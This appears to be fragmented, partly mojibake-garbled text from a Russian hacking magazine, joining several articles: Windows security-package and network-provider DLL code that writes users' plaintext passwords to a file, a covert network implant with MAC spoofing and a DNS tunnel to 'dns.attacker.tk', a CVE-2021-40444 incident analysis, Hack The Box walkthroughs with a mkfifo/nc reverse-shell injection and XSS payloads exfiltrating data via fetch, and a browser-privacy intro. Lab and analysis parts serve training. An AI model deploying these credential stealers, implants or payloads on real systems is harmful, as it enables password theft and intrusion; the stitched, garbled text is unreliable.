secPkgInfo[i].Name)) << secPkgInfo[i].Comment << std::setw(20 -
sizeof(secPkgInfo[i].wVersion)) << secPkgInfo[i].wVersion << std::
endl;
}
}
Ïåðåõâàò ïàðîëÿ
В наш SP, кроме стандартных функций для инициализации
(SpLsaModeInitialize(), SpGetInfo(), SpInitialize()), добавим функцию
SpAcceptCredentials(). Эта функция будет вызвана LSA после того,
как пользователь введет верную пару логина и пароля. Код нашего вредонос-
ного SP приобретет следующий вид:
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#include <iostream>
#include <string>
#pragma comment(lib, "Secur32.lib")
wLog.append(L"\n").append(wspFuncName).append(L" | ").append(
funcName).append(L" | ").append(std::to_wstring(err).append(L"\n"));
DWORD dwNumberWritten = 0;
WriteFile(hLogFile, wLog.c_str(), wLog.length() * sizeof(wchar_t)
, &dwNumberWritten, NULL);
}
CloseHandle(hLogFile);
return 0;
}
DWORD dwWritten = 0;
WriteFile(hLogFile, AccountName->Buffer, AccountName->Length, &
dwWritten, NULL);
WriteFile(hLogFile, L"@", 2, &dwWritten, NULL);
WriteFile(hLogFile, PrimaryCredentials->DomainName.Buffer,
PrimaryCredentials->DomainName.Length, &dwWritten, NULL);
WriteFile(hLogFile, L":", 2, &dwWritten, NULL);
WriteFile(hLogFile, PrimaryCredentials->Password.Buffer,
PrimaryCredentials->Password.Length, &dwWritten, NULL);
return 0;
}
SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] =
{
{
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpInitialize,
SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
}
};
Çàãðóçêà â ñèñòåìó
LSA извлекает список всех пакетов уведомлений из следующего ключа реес-
тра:
Ïåðåõâàò ïàðîëÿ
Самый простой код может выглядеть так:
#include <windows.h>
#include <ntsecapi.h>
#include <string>
#include <iostream>
wLog.append(L"\n").append(wspFuncName).append(L" | ").append(
funcName).append(L" | ").append(std::to_wstring(err).append(L"\n"));
DWORD dwNumberWritten = 0;
WriteFile(hLogFile, wLog.c_str(), wLog.length() * sizeof(wchar_t)
, &dwNumberWritten, NULL);
}
return TRUE;
}
SpMakeLog((LPWSTR)UserName->Buffer, (LPWSTR)NewPassword->Buffer,
0);
return 0;
}
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ПОСТАВЩИК
НЕБЕЗОПАСНОСТИКАК WINDOWS РАСКРЫВАЕТ ПАРОЛЬ
ПОЛЬЗОВАТЕЛЯ
Äîáàâëåíèå â ñèñòåìó
MPR извлекает все доступные провайдеры из следующего ключа реестра:
HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
HKLM\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order
3. Создаем ключ:
HKLM\SYSTEM\CurrentControlSet\Services\spy\NetworkProvider
"Class" = [REG_DWORD]2
"ProviderPath" = [REG_EXPAND_SZ]"%SystemRoot%\System32\spy.dll"
"Name" = [REG_SZ]"spy"
$arrExp=@()
foreach ($prov in ($providers.ProviderOrder -split ','))
{
$row = New-Object psobject
$row | Add-Member -Name "Name" -MemberType NoteProperty -Value
$prov
$arrExp += $row
}
if (Test-Path Variable:PSise)
{
$arrExp | Out-GridView
}
else
{
$arrExp | Format-List
}
Ïåðåõâàò ïàðîëÿ
Для перехвата пароля мы воспользуемся функцией NPLogonNotify(). MPR
вызывает эту функцию для уведомления диспетчера учетных данных о том, что
произошел успешный вход в систему. Диспетчер УД, получив такое сооб-
щение, может вернуть сценарий входа (какой-нибудь скрипт, который должен
выполниться).
Прототип у функции следующий:
DWORD NPLogonNotify(
[in] PLUID lpLogonId,
[in] LPCWSTR lpAuthentInfoType,
[in] LPVOID lpAuthentInfo,
[in] LPCWSTR lpPreviousAuthentInfoType,
[in] LPVOID lpPreviousAuthentInfo,
[in] LPWSTR lpStationName,
[in] LPVOID StationHandle,
[out] LPWSTR *lpLogonScript
);
MSV1_0:Interactive
Kerberos:Interactive
#include <Windows.h>
hFile = CreateFile(TEXT("C:\\spy.txt"),
GENERIC_WRITE,
0,
NULL,
OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
SetFilePointer(hFile, 0, NULL, FILE_END);
WriteFile(hFile, username->Buffer, username->Length, &
dwWritten, 0);
WriteFile(hFile, L" -> ", 8, &dwWritten, 0);
WriteFile(hFile, password->Buffer, password->Length, &
dwWritten, 0);
WriteFile(hFile, L"\r\n", 4, &dwWritten, 0);
CloseHandle(hFile);
}
}
case WNNC_NET_TYPE:
return WNNC_CRED_MANAGER;
case WNNC_START:
return WNNC_WAIT_FOR_START;
default:
return 0;
}
}
ÂÛÂÎÄÛ
ВСТРАИВАЕМСЯ В ЛОКАЛЬНУЮ
СЕТЬ С ПОМОЩЬЮ
«НЕВИДИМОГО»
ХАКЕРСКОГО УСТРОЙСТВА
INFO
Эта статья — часть серии публикаций о прак-
тических приемах взлома и атак с использовани-
ем подручных устройств, которые можно собрать
дома. В этих материалах мы раскрываем простые
способы получения несанкционированного дос-
тупа к защищенной информации и показываем,
как ее оградить от подобных атак. Предыдущая
статья серии: «Опасный модем. Закрепляемся
в атакованной системе при помощи USB-
модема».
Сколько раз ты замечал, что где-то в публичном месте стоит принтер, IP-
телефон или даже полноценный компьютер? Все эти устройства объединяет
то, что они, как правило, подключены к местной локальной сети уже знакомой
нам витой парой.
Аппаратная закладка
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ÐÅÀËÈÇÀÖÈß
/etc/network/interfaces
iface eth0 inet manual
auto br0
iface br0 inet dhcp
0 bridge_ports eth0 eth1
metric 2
/etc/dhcp/dhclient.conf
send dhcp-lease-time 60;
retry 60;
/etc/network/interfaces
auto br0
iface br0 inet static
bridge_ports eth0 eth1
hwaddress ether 00:11:22:33:44:55
address 10.0.0.10
netmask 255.255.255.0
gateway 10.0.0.1
dns-nameservers 10.0.0.2
dns-search corp.local
metric 2
Port security
В корпоративных сетях на активном сетевом оборудовании часто применя-
ется достаточно простая, но действенная защитная мера, когда доступ
к сетевой розетке разрешен только с определенного MAC-адреса. В таком
случае трафик от жертвы все равно будет проходить, ведь bridge прозрачно
пересылает пакеты с оригинальным MAC-адресом. Но доступа в сеть непос-
редственно с самого Packet Squirrel, использующего дополнительный IP-
адрес, уже не получить.
Однако данное устройство одним концом подключается к ПК жертвы,
а значит, оно знает доверенный MAC-адрес. Следовательно, если в каждом
исходящем пакете от Packet Squirrel на одном порте исправить MAC-адрес
отправителя на MAC-адрес жертвы, а на другом — на MAC-адрес шлюза, то
пакеты станут неотличимы от легитимных.
Реализовать такую, на первый взгляд, простую концепцию на деле
не так-то легко, поскольку требуется, чтобы устройство одновременно
с прозрачной передачей трафика в обе стороны могло и генерировать тра-
фик от лица жертвы. Добиться этого можно было бы, например, так:
#gw direction
sudo ebtables -t nat -A POSTROUTING -o eth0 -s $(getmac -i br0) -j
snat --to-src "$victim_mac" --snat-arp
sudo ebtables -t nat -A PREROUTING -i eth0 -d "$victim_mac" -j dnat
--to-dst $(getmac -i br0)
#victim direction
sudo ebtables -t nat -A POSTROUTING -o eth1 -s $(getmac -i br0) -j
snat --to-src "$gw_mac" --snat-arp
sudo ebtables -t nat -A PREROUTING -i eth1 -d "$gw_mac" -j dnat
--to-dst $(getmac -i br0)
Ïàññèâíûé ñíèôôèíã
Так как девайс может прозрачно пересылать через себя трафик, нетрудно
организовать его автоматическую запись:
/lib/systemd/system/tcpdump.service
[Unit]
Description=tcpdump
[Service]
ExecStart=/usr/sbin/tcpdump -i br0 -nn -w /media/sd/dump.pcap
Restart=always
RestartSec=60
[Install]
WantedBy=default.target
/etc/fstab
/dev/mmcblk0p3 /media/sd ext3 defaults 0 0
Äîñòóï ïî Wi-Fi
Так как рассматриваемое нами устройство имеет встроенный Wi-Fi, его мож-
но использовать для организации удаленного доступа. Для этого сетевые
настройки беспроводной сети указываются в следующем файле:
/etc/network/interfaces
auto wlan0
iface wlan0 inet static
address 11.0.0.1
netmask 255.255.255.0
/etc/dnsmasq.conf
domain=packet_squirrel.local
interface=wlan0
dhcp-range=11.0.0.10,11.0.0.20,24h
dhcp-option=1,255.255.255.0
dhcp-option=3,11.0.0.1
/etc/hostapd/hostapd.conf
interface=wlan0
driver=nl80211
ssid=packet squirrel
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=3
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_passphrase=s3cr3tP@ssw0rd
VPN access
Атакующий может сделать так, чтобы созданная им аппаратная закладка
выходила на связь по VPN с некоторым опорным сервером:
cp vds_config.ovpn /etc/openvpn/client/vds.conf
systemctl enable openvpn-client@vds
client
proto tcp
dev tap
user nobody
<ca>
</ca>
<cert>
</cert>
<key>
</key>
route-noexec
cipher AES-128-CBC
keepalive 10 60
comp-lzo
persist-key
persist-tun
/lib/systemd/system/iodine.service
[Unit]
Description=iodine
[Service]
ExecStart=/usr/sbin/iodine -f -r -m 500 -P s3cr3t dns.attacker.tk
Restart=always
RestartSec=60
[Install]
WantedBy=default.target
Даже если из внутренней сети нет прямого выхода в интернет, но есть раз-
решение произвольных DNS-имен, устройство построит VPN-туннель
до опорного сервера, через который потенциальный злоумышленник получит
обратный доступ в сеть.
Äîñòóï ïî 4G
Устройство сконфигурировано так, чтобы злоумышленник мог получить дос-
туп в интернет через точку закрепления, посредством обычного TCP
или DNS-туннелей. Но если же из локальной сети совсем нет никакого выхода
в интернет, то может быть организован канал передачи данных по незави-
симому 4G через подключаемый внешний USB-модем.
/etc/network/interfaces
...
allow-hotplug eth2
auto eth2
iface eth2 inet dhcp
metric 1
ÇÀÊÐÅÏËÅÍÈÅ
Далее, используя все возможные каналы доступа (VPN, DNS, Wi-Fi, 4G), ата-
кующий может удаленно зайти на устройство и уже с него получить доступ
в сеть.
Для развития дальнейших атак злоумышленнику не нужно каждый раз раз-
ворачивать на устройстве весь хакерский софт. Закладка может быть лишь
шлюзом и просто пересылать пакеты от атакующего в сеть.
L3-äîñòóï
Теперь настала пора рассмотреть, как подобное устройство может быть нас-
троено в режиме шлюза, на котором организован простой L3-доступ
в целевую сеть. Для этого потребуются только два компонента.
Первый — это транзит пакетов. При включении этой опции ядра сетевые
пакеты в соответствии с маршрутизацией смогут проходить с одного
интерфейса (VPN) на другой (Ethernet):
/etc/sysctl.conf
net.ipv4.ip_forward=1
/etc/network/if-pre-up.d/iptables
#!/bin/bash
/sbin/iptables-restore < /etc/iptables.up.rules
L2-äîñòóï
Чтобы получить полноценный L2-доступ в сетевой сегмент, в который
помещена закладка, атакующему нужно создать еще один дополнительный
туннель. Самый простой способ это сделать — воспользоваться SSH:
/etc/ssh/sshd_config
PermitRootLogin yes
PermitTunnel ethernet
ÊÀÊ ÇÀÙÈÒÈÒÜÑß
РЕВЕРСИМ ПРИЛОЖЕНИЕ,
ЗАЩИЩЕННОЕ DNGUARD
WARNING
Статья имеет ознакомительный характер и пред-
назначена для специалистов по безопасности,
проводящих тестирование в рамках контракта.
Автор и редакция не несут ответственности
за любой вред, причиненный с применением
изложенной информации. Распространение вре-
доносных программ, нарушение работы систем
и нарушение тайны переписки преследуются
по закону.
mscorlib.ni.dll.System.String.Compare(System.String, System.String,
Boolean)
mscorlib.ni.dll.System.String.Concat(System.String, System.String)
mscorlib.ni.dll.System.String.CtorCharArray(Char[])
mscorlib.ni.dll.System.String.CtorCharPtr(Char*)
mscorlib.ni.dll.System.String.Equals(System.String, System.String)
Присвоить строку:
mscorlib.ni.dll.System.String.Intern(System.String)
Вернуть подстроку:
mscorlib.ni.dll.System.String.Substring(Int32, Int32)
mscorlib.ni.dll.System.String.ToCharArray()
mscorlib.ni.dll.System.String.ToLower()
mscorlib.ni.dll.System.DateTimeOffset.CompareTo(System.
DateTimeOffset)
mscorlib.ni.dll.System.DateTimeOffset.op_Addition(System.
DateTimeOffset, System.TimeSpan)
Вычесть из времени:
mscorlib.ni.dll.System.DateTime.Subtract(System.TimeSpan)
Добавить ко времени:
mscorlib.ni.dll.System.DateTime.op_Addition(System.DateTime, System.
TimeSpan)
Позже?
mscorlib.ni.dll.System.DateTime.op_GreaterThan(System.DateTime,
System.DateTime)
Раньше?
mscorlib.ni.dll.System.DateTime.op_LessThan(System.DateTime, System.
DateTime)
Одновременно?
mscorlib.ni.dll.System.DateTime.op_Equality(System.DateTime, System.
DateTime)
ÈÑÏÎËÜÇÓÅÌÛÅ ÓÒÈËÈÒÛ
1. Wireshark — анализатор сетевых протоколов.
2. Brim — анализатор сетевого трафика.
3. Oleid — утилита для анализа OLE-файлов.
4. Scdbg — утилита для анализа шелл-кода, построенная на основе биб-
лиотеки для эмуляции libemu.
5. IDA Pro — интерактивный дизассемблер, используемый для реверс-инжи-
ниринга.
Процесс TCP-сканирования
tcp.flags == 0x12
SMTP-взаимодействие
Содержимое письма
oleid webserver.docx
http://192.168.112.128/word.html
Загружаемый JavaScript-код
Содержимое word.html
Код сильно обфусцирован, но в нем все же можно найти ссылку для загрузки
файла .cab. В переменной a0_0x12f содержится ссылка http://192.168.
112.128/word.cab. Далее вредоносный код загружает CAB-архив, извлекает
из него файл msword.infl, используя уязвимость Zip Slip (атаку обхода пути),
и сохраняет файл в такой каталог:
C:\Users\IEUser\AppData\Local\Temp\msword.inf
Содержимое CAB-архива
Псевдокод DLL-файла
scdbg /f shell
Содержимое шелл-кода
Пакеты DNS
Адрес компании производителя — 3401 Hillview Avenue Palo Alto CA 94304 US.
Найдем публичный ключ в сеансе TLS, для этого нажмем Ctrl + F
в Wireshark и наберем представленный в задании идентификатор сессии.
64089e29f386356f1ffbd64d7056ca0f1d489a09cd7ebda630f2b7394e319406
%AppData%\Local\Programs\brim\resources\app.asar.unpacked\zdeps\
suricata\var\lib\suricata\rules
И запустим Brim. В поле фильтра введем следующие данные для поиска пра-
вил срабатывания:
ÂÛÂÎÄÛ
Мы провели расследование инцидента и восстановили картину атаки. Зло-
умышленник с сетевого адреса 192.168.112.128 в 12:31 1 октября 2021 года
просканировал узел 192.168.112.139, на котором открыты семь портов.
Затем он отправил сообщение пользователю joshua@cyberdefenders.org
с вложением web server.docx, в котором содержится эксплоит CVE-2021-
40444. Пользователь открыл этот документ, и на его компьютере установи-
лась Meterpreter-нагрузка с управляющим сервером 192.168.112.128,
порт 443.
ВЗЛОМ
HTB
MENTOR
ИЗВЛЕКАЕМ ИНФОРМАЦИЮ
ИЗ SNMP И ПЕНТЕСТИМ
API ВЕБ-СЕРВИСА
Наша цель — захват учебной машины Mentor с площадки Hack The Box. Уро-
вень сложности — средний.
WARNING
Подключаться к машинам с HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.193 mentor.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Также всегда стоит проверять четыре порта UDP, где может работать служба
SNMP.
И мы видим, что SNMP работает на порте 161. SNMP — это протокол прик-
ладного уровня, он делает возможным обмен данными между сетевыми
устройствами. Протокол позволяет системному администратору проводить
мониторинг, контролировать производительность сети и изменять кон-
фигурацию подключенных устройств.
В SNMP используется модель безопасности сommunity-based (на основе
строки сообщества). Фактически это идентификатор пользователя
или пароль, который отправляется вместе с запросом. Если строка сообщес-
тва неверна, агент игнорирует запрос. Давай попробуем пробрутить эти
community-строки сканером onesixtyone.
Нашли только дефолтную строку public, ничего полезного она нам не дала.
ÒÎ×ÊÀ ÂÕÎÄÀ
Ñêàíèðîâàíèå SNMP
У меня бывали случаи, когда популярные средства сканирования комьюни-
ти-строк ничего не находили, а строки все же существовали. По этой причине
следующим скриптом пробуем запросить базовую информацию с помощью
snmpbulkwalk по каждой строке из словаря. В итоге раскрываем еще одну
комьюнити-строку internal.
Говоря о SNMP, стоит упомянуть MIB. MIB — это иерархическая база данных
со сведениями об устройстве. У каждого типа устройства своя MIB-таблица:
у принтера в ней содержится информация о состоянии картриджей, а у ком-
мутатора — данные о трафике. Благодаря MIB сетевой менеджер знает,
какую информацию он может запросить у агента устройства.
Каждый объект в MIB имеет свой уникальный ID — OID, который представ-
лен в числовом формате и имеет иерархическую структуру. OID — это чис-
ловой эквивалент пути к файлу. Он присваивает значения каждой таблице
в MIB, каждому столбцу в таблице и каждому значению в столбце.
Так, по OID 1.3.6.1.2.1.25.4.2.1.2 мы можем запросить процессы
на сетевом устройстве.
Ñêàíèðîâàíèå âåá-ñåðâåðà
На сервере расположен сайт-визитка, ничего интересного найти не получи-
лось.
Так как мы знаем реальный домен, попробуем найти другие сайты, для чего
будем сканировать поддомены. Для этого я использую легковесную утилиту
ffuf.
Страница /docs
Страница /redoc
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
HTB MENTOR
ИЗВЛЕКАЕМ ИНФОРМАЦИЮ
ИЗ SNMP И ПЕНТЕСТИМ
API ВЕБ-СЕРВИСА
ÒÎ×ÊÀ ÎÏÎÐÛ
Попробуем получить токен доступа, авторизовавшись с найденными поч-
товым адресом и паролем.
{
"email": "james@mentorquotes.htb",
"username": "james",
"password": "kj23sadkj123as0-d213"
}
Ответ сервера
POST-запрос к /admin/backup
{
"body":"test",
"path":"/etc/hosts"
}
Запрос к /admin/backup
Нам отвечают только, успешно или нет завершилась операция. Высока веро-
ятность, что путь к файлу передается в команду терминала, поэтому необ-
ходимо проверить наличие инъекции команды ОС. В качестве маяка будем
использовать запрос на собственный сервер, для этого и открываем лис-
тенер nc -nlpv 80.
Я перепробовал несколько нагрузок, и в результате удалось найти верную.
Заодно выяснилось, что на сервере отсутствует программа curl. Так что
если ты используешь нагрузки только с curl, то стоит сделать подобные
для wget и Python.
{
"body":"test",
"path":"/etc/hosts;wget http://10.10.14.11/test_rce"
}
Запрос на сервер
Логи листенера
{
"body":"test",
"path":"/etc/hosts;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i
2>&1|nc 10.10.14.11 4321 >/tmp/f;"
}
Запрос на сервер
Получение сессии
ÏÐÎÄÂÈÆÅÍÈÅ
Попадаем в контейнер Docker, где и работает уязвимое приложение. При-
ложение использует базу данных, и мы можем получить учетные данные
для подключения к ней, а в ней найдем логины и хеши паролей пользовате-
лей. Пароль от базы находим в файле db.py.
/d
Таблицы
Получаем хеши двух паролей, один из которых мы уже знаем, поэтому второй
проверяем по онлайновой базе.
Флаг пользователя
Пользователи с консолью
Анализ SNMP-файлов
Ïîëüçîâàòåëü root
Разведку на хосте уже проводили, мало что может измениться со сменой кон-
текста. Но одно из мест, которые все же стоит проверить, — настройки
sudoers.
sudo -l
Настройки sudo
Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы
пользователей могут выполнять от имени администратора системы. Можно
просмотреть его как напрямую, так и при помощи команды sudo -l.
sudo /bin/sh
Флаг рута
Машина захвачена!
ВЗЛОМ
HTB
VESSEL
ЭКСПЛУАТИРУЕМ УЯЗВИМОСТЬ
В КЛАСТЕРЕ KUBERNETES
Наша цель — захватить учебную машину Vessel с площадки Hack The Box. Ее
уровень — «сложный».
WARNING
Подключаться к машинам с HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.178 vessel.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
ÒÎ×ÊÀ ÂÕÎÄÀ
Начнем изучение с каталога dev, который выполняет редирект (код отве-
та 301). Смотрим на него через браузер и получаем страницу 404. Так
как всю работу я веду через Burp Proxy, могу в любой момент посмотреть
историю запросов.
Burp History
./rip-git.pl -u http://vessel.htb/dev/.git/
А теперь в текущем каталоге просто открываем gitk — это GUI для работы
с Git-репозиториями. И сразу находим учетные данные для подключения
к базе данных.
Запрос на авторизацию
ÒÎ×ÊÀ ÎÏÎÐÛ
Изучаем содержимое панели и находим графу аналитики, которая ведет нас
на другой поддомен.
И запустим эксплоит.
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
HTB VESSEL
ЭКСПЛУАТИРУЕМ УЯЗВИМОСТЬ
В КЛАСТЕРЕ KUBERNETES
ÏÐÎÄÂÈÆÅÍÈÅ
Теперь, когда мы получили доступ к хосту, нам необходимо собрать
информацию. Я, как всегда, использую для этого скрипты PEASS.
Скачанный скриншот
Декомпилирование py2exe-файла
passwords = []
length = 32
charset =
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%
^&
*()_-+={}[]|
:;<>,.?'
for rsec in (0,1000):
qsrand(q)
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)
passwords.append(password)
Содержимое PDF-документа
Флаг пользователя
{
"destination": "/",
"type": "bind",
"source": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
}
mkdir rootfs
runc --root /tmp/ralf run alpine
cat /proc/sys/kernel/core_pattern
ulimit -c unlimited
tail -f /dev/null &
ps
bash -i
kill -SIGSEGV 26
ps
Дамп ядра
Флаг рута
Машина захвачена!
ВЗЛОМ
HTB
EXTENSION
Захватывать будем учебную машину Extension с площадки Hack The Box. Уро-
вень — «сложный».
WARNING
Подключаться к машинам с HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.171 extension.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Так находим еще два поддомена, которые тоже добавляем в файл /etc/
hosts. Там найдем сервисы Gitea и RoundCube.
Пользователи Gitea
ÒÎ×ÊÀ ÂÕÎÄÀ
Тогда посмотрим на пользовательский сайт через Burp. Нас интересует
Burp History.
А вот при запросе дампа нам отвечают, что мы не указали нужный параметр.
То есть никакой авторизации не требуется.
Полученные данные
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
HTB EXTENSION
ПЕНТЕСТИМ ПЛАГИН ДЛЯ GITEA
И СБЕГАЕМ ИЗ DOCKER
ÒÎ×ÊÀ ÎÏÎÐÛ
Ïîëüçîâàòåëüñêèé ñåðâèñ
Мы можем перейти к сниппетам и создать свой. Так у нас будет возможность
менять и удалять его.
Доступные сниппеты
Доступные сниппеты
Содержимое сниппета
Репозиторий extension
Gitea
Сам проект — это плагин браузера для быстрого оповещения об ошибках.
В настройках проекта находим соавтора, это нам пригодится.
Соавторы проекта
qwe<qwe><img src="http://10.10.14.7/test">
Отправка сообщения
Опубликованное сообщение
Логи веб-сервера
Õðàíèìàÿ XSS
Я решил попробовать получить проекты пользователя charlie. Список про-
ектов можно запросить по API:
/api/v1/users/[user]/repos')
fetch('http://dev.snippet.htb/api/v1/users/charlie/repos').then(
response => response.text()).then(data => fetch('http://10.10.14.7/'+
btoa(data)))
Логи веб-сервера
Видим проект backups, но скачать файлы напрямую не вышло. Тут мне приш-
лось обратиться за помощью к комьюнити, и мне посоветовали добавить сво-
его пользователя в соавторы этого проекта.
var u='http://dev.snippet.htb/charlie/backups/settings/collaboration'
;fetch(u).then(r => document.querySelector('meta[name=_csrf]').
content).then(t => fetch(u,{method:'POST',headers: {'Content-Type':'
application/x-www-form-urlencoded;'},body:'collaborator=jean&_csrf='+
t}).then(d => fetch('http://10.10.14.7/yes')))
Содержимое архива
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
HTB EXTENSION
ПЕНТЕСТИМ ПЛАГИН ДЛЯ GITEA
И СБЕГАЕМ ИЗ DOCKER
ÏÐÎÄÂÈÆÅÍÈÅ
Ïîëüçîâàòåëü jean
В системе есть еще один пользователь — jean.
Флаг пользователя
Docker inside
Теперь нам необходимо собрать информацию, чтобы понять, как продвигать-
ся дальше. Я для этого использую скрипты PEASS.
Сетевые интерфейсы
Прослушиваемые порты
Пользователи сайта
Настройки монтирования
Поиск docker.sock
Существующие образы
Создание контейнера
Флаг рута
Машина захвачена!
ВЗЛОМ
HTB
FORGOT
Наша цель — захват машины Forgot с площадки Hack The Box. Уровень слож-
ности — средний.
WARNING
Подключаться к машинам с HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.
ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.188 forgot.htb
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Форма авторизации
С помощью Burp Suite построим карту сайта, для чего в контекстном меню
Burp History выбираем Engagement tools → Discover content.
Карта сайта
Комментарии с сайта
Так как была отправлена ссылка для сброса пароля, пользователь реален.
ÒÎ×ÊÀ ÂÕÎÄÀ
По HTTP-заголовкам ответа определяем, что на сервере работает Varnish.
Это ускоритель HTTP, разработанный для динамических веб-сайтов с боль-
шим количеством контента и API. Пробуем в HTTP-заголовке Host запроса
указать свой адрес, активируем листенер и ловим входящий запрос.
Логи листенера
Страница Tickets
Страница Escalate
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
HTB FORGOT
ОТРАВЛЯЕМ WEB CACHE
ДЛЯ ПОЛУЧЕНИЯ
АДМИНКИ САЙТА
ÒÎ×ÊÀ ÎÏÎÐÛ
У нас есть связь с администратором через форму заявок. Я потестировал ее
на наличие уязвимостей XSS, но ничего не обнаружил. А вот благодаря карте
сайта можно найти страницы, а вернее каталог, где можно отравить кеш. Так,
на всех страницах, кроме тех, что в каталоге /static, счетчик все время
обнуляется. А вот в каталоге /static он растет до значения 240 (четыре
минуты), после чего уже обнуляется.
WWW
Подробнее о механизмах кеширования сайтов ты
можешь прочитать, например, в статье
«Веб-кеширование на примере покупки молока
в магазине» на «Хабрахабре».
ÏÐÎÄÂÈÆÅÍÈÅ
Собираем все воедино. Мы можем отправить админу сообщение, содер-
жащее ссылку, и он на нее перейдет. При этом есть каталог, кеширующий
ответ сервера, причем ответ может вернуть куки пользователя. Поэтому
отправим администратору ссылку на любой несуществующий файл в каталоге
/static, спустя время обратимся к нему же и проверим заголовок Set-
Cookie.
Замена cookie
Страница администратора
Видим тикет, где упоминаются учетные данные для SSH. Если их просто ско-
пировать, то авторизоваться не получится. Причина в том, что на странице
некоторые символы отображаются в верхнем регистре. Мы с этим стал-
кивались при отправке сообщений админу: введенный текст автоматически
переводился в верхний регистр. Поэтому переходим к исходному коду сайта
и копируем учетные данные оттуда.
Флаг пользователя
Настройки Cron
Настройки судоера
Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы
пользователей могут выполнять от имени администратора системы. Можно
просмотреть его как напрямую, так и при помощи команды sudo -l.
/bin/bash -p
Флаг рута
Машина захвачена!
ПРИВАТНОСТЬ
СРАВНИВАЕМ БЕЗОПАСНЫЕ
БРАУЗЕРЫ 2023 ГОДА
Если тебе кажется, что за тобой следят, возможно, тебе не кажется. Сайты,
которые мы посещаем, собирают большой объем информации о конфигура-
ции нашего компьютера, мобильного телефона или планшета, а также
об используемом программном обеспечении. Интернет-ресурсы не только
устанавливают файлы cookies, но и могут определить твою геолокацию, IP-
адрес, название провайдера, версию и языковые настройки операционной
системы, браузера, локальное время, тип и скорость подключения к интерне-
ту. А также узнать, какие протоколы поддерживает браузер, какие плагины
в нем используются, включен ли JavaScript, имеет ли устройство встроенную
камеру, гироскоп, и собрать множество других сведений.
На основе всей этой информации можно составить уникальный иден-
тификатор каждого работающего в интернете устройства — browser
ngerprint. Даже поменяв одну или несколько настроек в системе, невоз-
можно изменить сам идентификатор, поскольку он использует сразу множес-
тво параметров. Тебя все равно узнают, если захотят.
Кроме того, движки разных браузеров немного по-разному отображают
шрифты и отдельные глифы Unicode. Сравнивая заполненные текстом HTML-
элементы на просматриваемых в браузере веб-страницах и формы букв
по умолчанию в словаре известных гарнитур, можно составить шрифтовые
отпечатки, font ngerprint. Эти отпечатки помогают сайтам опознать любой
браузер, и твой — тоже!
Чаще всего такую идентификацию используют, чтобы показывать рекламу.
Звучит довольно безобидно, но, как говорится, есть нюансы. Так, в 2014 году
исследователь Александр Коган по заказу компании Cambridge Analytica раз-
работал приложение под названием This is Your Digital Life для опроса поль-
зователей Facebook. Несмотря на то что в опросе приняло участие нез-
начительное число пользователей, приложение смогло получить доступ
не только к профайлам участников, но и к страницам всех, кто присутствовал
в списке их друзей. Таким образом были собраны данные примерно
о 80 миллионах американцев — включая сведения об их геолокации, родном
городе, дате рождения, лайках постов, интересах, онлайн-активности, пред-
почтениях, родственных связях. Разумеется, без ведома и согласия поль-
зователей.
